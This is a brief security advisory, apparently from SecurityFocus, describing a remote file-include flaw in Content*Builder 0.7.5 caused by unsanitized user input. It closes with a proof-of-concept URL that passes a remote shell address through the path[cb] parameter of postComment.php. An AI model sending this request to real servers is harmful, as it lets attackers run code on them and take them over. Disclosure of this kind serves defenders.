source: http://www.securityfocus.com/bid/25914/info

Content*Builder (C*B) is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

C*B 0.7.5 is vulnerable; other versions may also be affected. 

http://www.example.com/libraries/comment/postComment.php?path[cb]=[Shell URL]?a=